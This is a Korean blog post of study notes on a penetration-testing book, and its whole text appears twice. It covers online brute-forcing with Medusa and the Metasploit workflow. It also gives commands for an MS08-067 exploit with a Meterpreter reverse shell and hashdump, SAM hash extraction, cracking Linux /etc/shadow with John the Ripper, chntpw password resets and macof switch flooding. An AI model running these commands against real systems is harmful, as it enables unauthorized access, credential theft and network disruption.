이제 시작이야 해킹과 침투테스트 (4)
Medusa : 원격 서비스의 권한 획득하기
2단계 결과 값을 검토할 때 원격 접근 서비스가 있는 IP주소에 특별한 관심을 보여야한다.
SSH, Telnet, FTP, PC anywhere, VNC 등의 접근 권한을 획득하면 공격대상을 장악할 수 있다. 해커들은 보통 이러한 서비스를 발견하면 "온라인 비밀번호 크래킹"을 시도한다.
온라인 비밀번호 크래킹이란, 비밀번호를 무작위 대입하여 공격하는 기법이다. 반대로 오프라인 패스워드 크래커를 사용할 때는 서비스가 실행되고 있지 않아도 된다. 그 대신 패스워드 해쉬가 필요하다.
비밀번호 크래킹 툴은 다향하나 가장 많이 사용되는 툴은 Medusa 와 Hydra가 있다.
Medusa는 원격 인증 서비스의 접근 권한을 획득하기 위해 로그인 계정을 무차별로 대입하는 툴이다. Medusa를 사용하려면 공격 대상 IP주소, 로그인을 시도할 사용자 계정 또는 계정 목록, 로그인을 시도할 떄 사용될 비밀번호나 비밀번호 사전 파일, 인증을 시도하는 서비스의 이름 등 여러 가지 정보가 필요하다.
JtR 같은 오프라인 비밀번호 크래킹들은 1초에 백만 개의 비밀번호를 테스트 할 수 있다.
하지만 Medusa 나 Hydra 같은 비밀번호 크래킹 툴은 1초에 한 두 개의 비밀번호를 테스트 할 수 있다.
medusa -h 공격대상 IP -u 사용자 계정 -P 비밀번호 사전 경로 -M 공격할 인증 서비스
-U를 쓰면 사용자 계정들을 쓴 파일의 경로를 쓴다. -P도 마찬가지이다.
#굉장히 오래걸리는 것을 확인할 수 있다.
Metasploit
최초의 오픈소스 공격 프레임 워크이다. Metasploit은 공격대상과 다양한 페이로드를 선택할 수 있게 해준다. 페이로드는 추가적인 기능 또는 공격대상 컴퓨터에서 달성하고 싶은 행동 방식이다.
Metasploit과 취약점 스캐너의 차이점에 대해 이해해야한다. 스캔은 매우 간접적인 방법으로 공격대상을 의도하지 않게 파손한다거나 영향을 줄 확률이 낮다. Metasploit은 스캔하는 컴퓨터를 실제로 공격하려 한다.
Metasploit을 사용하기 위해서는 공격대상, 공격 코드, 페이로드를 선택해야 한다. 공격 코드가 공격 대상이 비정상적으로 행동하게 하여 페이로드를 실행할 수 있도록 해준다. 공격 코드는 공격대상 컴퓨터에서 공격자가 페이로드를 실행 할 수 있도록 해주는 취약점을 이용한 것이다.
Metasploit 실행 과정
1.Metasploit 시작
2.search 명령어를 입력하여 취약점에 대한 exploit 검색
3.use 명령어를 입력하여 해당 exploit 사용
4.show payload 명령어를 입력하여 사용할 수 있는 페이로드 검색
5.set 명령어를 입력하여 페이로드 선택
6.show options 명령어를 입력해 필요한 명령어 설정
7.set 명령어를 이용하여 필요한 명령어 설정
8.exploit 명령어를 사용하여 공격
De-ICE_S1.123.iso vmware 취약점 발견.
bind 페이로드와 reverse 페이로드 차이
Bind 페이로드
1)exploit
------->
공격자 공격대상
------->
2)connect
Reverse 페이로드
1)exploit
------->
공격자 공격대상
<-------
2)connect
JtR : 비밀번호 크래킹의 제왕
비밀번호 크래킹은 두 가지 부분으로 구성되어 있다.
1.공격대상 컴퓨터의 비밀번호 해쉬 파일을 찾아서 다운로드
2.툴을 사용하여 해쉬(암호화)로 된 비밀번호 를 평문으로 변환한다.
해쉬는 정의상 한번 암호화되면 절대 평문으로 변환시킬 수 없다. 그래서 평문으로 변환시키지 않고 현재 비밀번호의 해쉬값이 나올 때까지 무작위로 비밀번호를 해쉬시킨다.
로컬 비밀번호 크래킹
비밀번호를 크래킹 하기 전에 해쉬 파일의 위치를 알아야한다. 윈도우의 경우 해쉬가 SAM 파일이라는 특수 파일에 저장된다. MS는 윈도구가 시작되면 SAM 파일을 잠구도록 설정해두었다. 다시 말하면 윈도우가 시작되면 SAM 파일을 볼 수 없다. 잠기는 것 이외에도 전체 암호화되어 있어서 파일을 바로 볼 수가 없다.
이 두 가지 제한 사하을 우회 할 수 있는 방법이 있다. 원격에 있는 컴퓨터에는 Meterpreter 와 SAM 쥬서를 사용하여 실행중인 공격 대상 컴퓨터의 해쉬에 접근할 수 있다. 또한 다른 운영체제를 이용하면 SAM 파일에 접근 할 수 있다. 칼리 툴 samdump2을 이용하면 SAM 파일의 암호화되어 있는 것을 풀 수 있다.
LM 해쉬가 취약한 이유
1. 해쉬가 생성 될 때 비밀번호의 모든 알파벳은 대문자로 변환되었다.
2.모든 LM의 비밀번호의 길이가 14자리이다.
14보다 짧으면 널로 채우고 14보다 길면 이후 문자는 삭제되었다.
3.저장된 14자리 비밀번호가 실제로는 반으로 쪼개져서 각각 7자리 비밀번호로 저장된다.
로컬 비밀번호 크래킹 순서
1.공격대상 컴퓨터를 끈다.
2.공격대상 시스템을 칼리나 다른 OS로 부팅한다.
3.하드 드라이브를 마운트한다.
4.samdump2를 사용해서 해쉬를 추출한다.
5.JtR로 비밀번호를 추출한다.
원격 비밀번호 크래킹
원격시스템의 비밀번호를 크래킹하는 것은 공격 대상 시스템에 exploit을 성공적으로 실해하고 난 훼 이루어진다. 공격 대상 시스템에 Meterpreter 세션이 실행되면 , hashdump명령어를 이용하여 해쉬값을 얻을 수 있다. Meterpreter는 윈도우에 존재하는 모든 보안 메커니즘을 우회하여 공격대상 시스템의 사용자 이름과 해쉬값의 덤프를 보여줄 것이다.
use exploit/windows/smb/ms08_067_netapi
set payload windows/meterpreter/reverse_tcp
set Rhost IP
set Lhost IP
exploit
hashdump
리눅스 비밀번호 크래킹 및 간단한 권한 상승 예제
리눅스 시스템은 비밀번호 해쉬를 저장할 때 SAM파일을 사용하지 않는다. 그 대신 /etc/shadow 파일을 볼 수 있는 적절한 권한이 있다면, 사용자 이름과 해쉬값을 복사하여 JtR로 크래킹하면 될 것이다. 리눅스는 /etc/passwd에 있는 편집된 암호 목록을 사용한다.
/etc/shadow 파일과 /etc/passwd 를 조합하려면
unshadow /etc/passwd /etc/shadow > /tmp/linux_hashes.txt
대부분의 리눅스 시스템은 비밀번호를 SHA를 사용하여 저장하므로, 사용하려는 JtR 버전이 SHA 해쉬를 크래킹할 수 있는지 확인해야한다.
john /tmp/linux_hashes.txt
비밀번호 재설정: 밀어버리고 새롭게 설정하기
이 방법은 비밀번호 크래킹보다 은밀성이 떨어진다. 공격자가 현재 윈도우에서 실제로 SAM 파일을 덮어쓰게 하여 어떤 사용자이건 새로운 비밀번호를 생성할 수 있도록 도와준다. 이 과정은 원래의 비밀번호를 알 필요 없이 사용할 수 있지만 컴퓨터에 물리적으로 접근해야한다. 이 기술은 강도가 불도저로 가게를 터는 것과 같다.
비밀번호 재설정을 하기 위해서는 공격 대상 컴퓨터에 kali DVD로 부팅해야한다. 일단 부팅되면 터미널에서 SAM 파일이 있는 하드 드라이브를 마운트하여야 한다. 이제 chntpw 명령어를 사용하여 비밀번호를 재설정할 수 있다. 공격 대상 컴퓨터의 관리자의 비밀번호를 재설정하려 한다면
chntpw -i /mnt/sda1/WINDOWS/system32/config/SAM
모든 드라이브가 sda1로 되어 있지는 않다. 앞에서 언급하였듯이 fdisk -l을 사용하여 SAM파일이 있는 드라이브를 알아내야한다.
Wireshark : 네트워크 트래픽 도청 (sniffing)
네트워크 카드는 기본적으로 nonpromiscuous 모드와 promiscuous 모드가 있다.
nonpromiscuous 모드가 기본설정인데, nonpromiscuous 모드에서 네트워크 인터페이스 카드(NIC)는 자신에서 지정된 특정한 트래픽만 받아들인다.
반면에 promiscuous 모드는 NIC에 도착하는 모든 패킷을 수용하도록 강제하는 것이다. 그래서 모든 트래픽을 CPU로 보내 처리한다.
그러므로 성공적으로 도청하기 위해서는 promiscuous 모드로 작동하게 해야한다.
스위치와 허브의 차이점은 허브는 1번 PC가 8번 PC에게 메시지를 보내고 싶을 때 메시지가 1번부터 8번 PC까지 모두 전해지지만 8번만 수용하는 방식이고, 스위치는 모두 전해지지 않고 8번에세만 메시지가 전달된다.
Macof
위에서 말한 것처럼 스위치의 분산 라우칭은 원래 보안을 향상시키기 위함이 아니라 성능 개선시키기 위함이였다. 하지만 어떤 경우에는 스위치가 허브처럼 동작하는 것처럼 모든 트래픽을 모든 포트로 브로드캐스트하도록 만들 수 있다.
스위치에는 테이블이 있는데 테이블 메모리를 다 사용하도록 만들고 테이블에 가짜 MAC 주소를 채워 넣으면 스위치가 테이블에 있는 타당한 MAC과 퐅를 읽거나 접근할 수 없게 된다. 그래서 스위치는 모든 포트로 브로드캐스트하게 된다. 이 모델은 fail open이다.
정반대의 모델인 fail closed 스위치는 단순히 트래픽을 라우트하는 기능을 중단해버린다. 만약에 스위치가 트래픽을 라우트하지 못하도록 하면 네트워크의 모든 트래픽을 중단시킴으로써 디도스 공격을 할 수 있다.
여기서 Macof 툴은 스위치에 수 천개의 무작위 MAC 주소를 채워넣는 기능이 있다.
macof -i eth0 -s source_IP -d targeted_IP
많은 네트워크 트래픽이 생성되기 때문에 은밀성이 낮다.
2단계 결과 값을 검토할 때 원격 접근 서비스가 있는 IP주소에 특별한 관심을 보여야한다.
SSH, Telnet, FTP, PC anywhere, VNC 등의 접근 권한을 획득하면 공격대상을 장악할 수 있다. 해커들은 보통 이러한 서비스를 발견하면 "온라인 비밀번호 크래킹"을 시도한다.
온라인 비밀번호 크래킹이란, 비밀번호를 무작위 대입하여 공격하는 기법이다. 반대로 오프라인 패스워드 크래커를 사용할 때는 서비스가 실행되고 있지 않아도 된다. 그 대신 패스워드 해쉬가 필요하다.
비밀번호 크래킹 툴은 다향하나 가장 많이 사용되는 툴은 Medusa 와 Hydra가 있다.
Medusa는 원격 인증 서비스의 접근 권한을 획득하기 위해 로그인 계정을 무차별로 대입하는 툴이다. Medusa를 사용하려면 공격 대상 IP주소, 로그인을 시도할 사용자 계정 또는 계정 목록, 로그인을 시도할 떄 사용될 비밀번호나 비밀번호 사전 파일, 인증을 시도하는 서비스의 이름 등 여러 가지 정보가 필요하다.
JtR 같은 오프라인 비밀번호 크래킹들은 1초에 백만 개의 비밀번호를 테스트 할 수 있다.
하지만 Medusa 나 Hydra 같은 비밀번호 크래킹 툴은 1초에 한 두 개의 비밀번호를 테스트 할 수 있다.
medusa -h 공격대상 IP -u 사용자 계정 -P 비밀번호 사전 경로 -M 공격할 인증 서비스
-U를 쓰면 사용자 계정들을 쓴 파일의 경로를 쓴다. -P도 마찬가지이다.
#굉장히 오래걸리는 것을 확인할 수 있다.
Metasploit
최초의 오픈소스 공격 프레임 워크이다. Metasploit은 공격대상과 다양한 페이로드를 선택할 수 있게 해준다. 페이로드는 추가적인 기능 또는 공격대상 컴퓨터에서 달성하고 싶은 행동 방식이다.
Metasploit과 취약점 스캐너의 차이점에 대해 이해해야한다. 스캔은 매우 간접적인 방법으로 공격대상을 의도하지 않게 파손한다거나 영향을 줄 확률이 낮다. Metasploit은 스캔하는 컴퓨터를 실제로 공격하려 한다.
Metasploit을 사용하기 위해서는 공격대상, 공격 코드, 페이로드를 선택해야 한다. 공격 코드가 공격 대상이 비정상적으로 행동하게 하여 페이로드를 실행할 수 있도록 해준다. 공격 코드는 공격대상 컴퓨터에서 공격자가 페이로드를 실행 할 수 있도록 해주는 취약점을 이용한 것이다.
Metasploit 실행 과정
1.Metasploit 시작
2.search 명령어를 입력하여 취약점에 대한 exploit 검색
3.use 명령어를 입력하여 해당 exploit 사용
4.show payload 명령어를 입력하여 사용할 수 있는 페이로드 검색
5.set 명령어를 입력하여 페이로드 선택
6.show options 명령어를 입력해 필요한 명령어 설정
7.set 명령어를 이용하여 필요한 명령어 설정
8.exploit 명령어를 사용하여 공격
De-ICE_S1.123.iso vmware 취약점 발견.
Bind 페이로드
1)exploit
------->
공격자 공격대상
------->
2)connect
Reverse 페이로드
1)exploit
------->
공격자 공격대상
<-------
2)connect
JtR : 비밀번호 크래킹의 제왕
비밀번호 크래킹은 두 가지 부분으로 구성되어 있다.
1.공격대상 컴퓨터의 비밀번호 해쉬 파일을 찾아서 다운로드
2.툴을 사용하여 해쉬(암호화)로 된 비밀번호 를 평문으로 변환한다.
해쉬는 정의상 한번 암호화되면 절대 평문으로 변환시킬 수 없다. 그래서 평문으로 변환시키지 않고 현재 비밀번호의 해쉬값이 나올 때까지 무작위로 비밀번호를 해쉬시킨다.
로컬 비밀번호 크래킹
비밀번호를 크래킹 하기 전에 해쉬 파일의 위치를 알아야한다. 윈도우의 경우 해쉬가 SAM 파일이라는 특수 파일에 저장된다. MS는 윈도구가 시작되면 SAM 파일을 잠구도록 설정해두었다. 다시 말하면 윈도우가 시작되면 SAM 파일을 볼 수 없다. 잠기는 것 이외에도 전체 암호화되어 있어서 파일을 바로 볼 수가 없다.
이 두 가지 제한 사하을 우회 할 수 있는 방법이 있다. 원격에 있는 컴퓨터에는 Meterpreter 와 SAM 쥬서를 사용하여 실행중인 공격 대상 컴퓨터의 해쉬에 접근할 수 있다. 또한 다른 운영체제를 이용하면 SAM 파일에 접근 할 수 있다. 칼리 툴 samdump2을 이용하면 SAM 파일의 암호화되어 있는 것을 풀 수 있다.
LM 해쉬가 취약한 이유
1. 해쉬가 생성 될 때 비밀번호의 모든 알파벳은 대문자로 변환되었다.
2.모든 LM의 비밀번호의 길이가 14자리이다.
14보다 짧으면 널로 채우고 14보다 길면 이후 문자는 삭제되었다.
3.저장된 14자리 비밀번호가 실제로는 반으로 쪼개져서 각각 7자리 비밀번호로 저장된다.
로컬 비밀번호 크래킹 순서
1.공격대상 컴퓨터를 끈다.
2.공격대상 시스템을 칼리나 다른 OS로 부팅한다.
3.하드 드라이브를 마운트한다.
4.samdump2를 사용해서 해쉬를 추출한다.
5.JtR로 비밀번호를 추출한다.
원격 비밀번호 크래킹
원격시스템의 비밀번호를 크래킹하는 것은 공격 대상 시스템에 exploit을 성공적으로 실해하고 난 훼 이루어진다. 공격 대상 시스템에 Meterpreter 세션이 실행되면 , hashdump명령어를 이용하여 해쉬값을 얻을 수 있다. Meterpreter는 윈도우에 존재하는 모든 보안 메커니즘을 우회하여 공격대상 시스템의 사용자 이름과 해쉬값의 덤프를 보여줄 것이다.
use exploit/windows/smb/ms08_067_netapi
set payload windows/meterpreter/reverse_tcp
set Rhost IP
set Lhost IP
exploit
hashdump
리눅스 비밀번호 크래킹 및 간단한 권한 상승 예제
리눅스 시스템은 비밀번호 해쉬를 저장할 때 SAM파일을 사용하지 않는다. 그 대신 /etc/shadow 파일을 볼 수 있는 적절한 권한이 있다면, 사용자 이름과 해쉬값을 복사하여 JtR로 크래킹하면 될 것이다. 리눅스는 /etc/passwd에 있는 편집된 암호 목록을 사용한다.
/etc/shadow 파일과 /etc/passwd 를 조합하려면
unshadow /etc/passwd /etc/shadow > /tmp/linux_hashes.txt
대부분의 리눅스 시스템은 비밀번호를 SHA를 사용하여 저장하므로, 사용하려는 JtR 버전이 SHA 해쉬를 크래킹할 수 있는지 확인해야한다.
john /tmp/linux_hashes.txt
비밀번호 재설정: 밀어버리고 새롭게 설정하기
이 방법은 비밀번호 크래킹보다 은밀성이 떨어진다. 공격자가 현재 윈도우에서 실제로 SAM 파일을 덮어쓰게 하여 어떤 사용자이건 새로운 비밀번호를 생성할 수 있도록 도와준다. 이 과정은 원래의 비밀번호를 알 필요 없이 사용할 수 있지만 컴퓨터에 물리적으로 접근해야한다. 이 기술은 강도가 불도저로 가게를 터는 것과 같다.
비밀번호 재설정을 하기 위해서는 공격 대상 컴퓨터에 kali DVD로 부팅해야한다. 일단 부팅되면 터미널에서 SAM 파일이 있는 하드 드라이브를 마운트하여야 한다. 이제 chntpw 명령어를 사용하여 비밀번호를 재설정할 수 있다. 공격 대상 컴퓨터의 관리자의 비밀번호를 재설정하려 한다면
chntpw -i /mnt/sda1/WINDOWS/system32/config/SAM
모든 드라이브가 sda1로 되어 있지는 않다. 앞에서 언급하였듯이 fdisk -l을 사용하여 SAM파일이 있는 드라이브를 알아내야한다.
Wireshark : 네트워크 트래픽 도청 (sniffing)
네트워크 카드는 기본적으로 nonpromiscuous 모드와 promiscuous 모드가 있다.
nonpromiscuous 모드가 기본설정인데, nonpromiscuous 모드에서 네트워크 인터페이스 카드(NIC)는 자신에서 지정된 특정한 트래픽만 받아들인다.
반면에 promiscuous 모드는 NIC에 도착하는 모든 패킷을 수용하도록 강제하는 것이다. 그래서 모든 트래픽을 CPU로 보내 처리한다.
그러므로 성공적으로 도청하기 위해서는 promiscuous 모드로 작동하게 해야한다.
스위치와 허브의 차이점은 허브는 1번 PC가 8번 PC에게 메시지를 보내고 싶을 때 메시지가 1번부터 8번 PC까지 모두 전해지지만 8번만 수용하는 방식이고, 스위치는 모두 전해지지 않고 8번에세만 메시지가 전달된다.
Macof
위에서 말한 것처럼 스위치의 분산 라우칭은 원래 보안을 향상시키기 위함이 아니라 성능 개선시키기 위함이였다. 하지만 어떤 경우에는 스위치가 허브처럼 동작하는 것처럼 모든 트래픽을 모든 포트로 브로드캐스트하도록 만들 수 있다.
스위치에는 테이블이 있는데 테이블 메모리를 다 사용하도록 만들고 테이블에 가짜 MAC 주소를 채워 넣으면 스위치가 테이블에 있는 타당한 MAC과 퐅를 읽거나 접근할 수 없게 된다. 그래서 스위치는 모든 포트로 브로드캐스트하게 된다. 이 모델은 fail open이다.
정반대의 모델인 fail closed 스위치는 단순히 트래픽을 라우트하는 기능을 중단해버린다. 만약에 스위치가 트래픽을 라우트하지 못하도록 하면 네트워크의 모든 트래픽을 중단시킴으로써 디도스 공격을 할 수 있다.
여기서 Macof 툴은 스위치에 수 천개의 무작위 MAC 주소를 채워넣는 기능이 있다.
macof -i eth0 -s source_IP -d targeted_IP
많은 네트워크 트래픽이 생성되기 때문에 은밀성이 낮다.
댓글
댓글 쓰기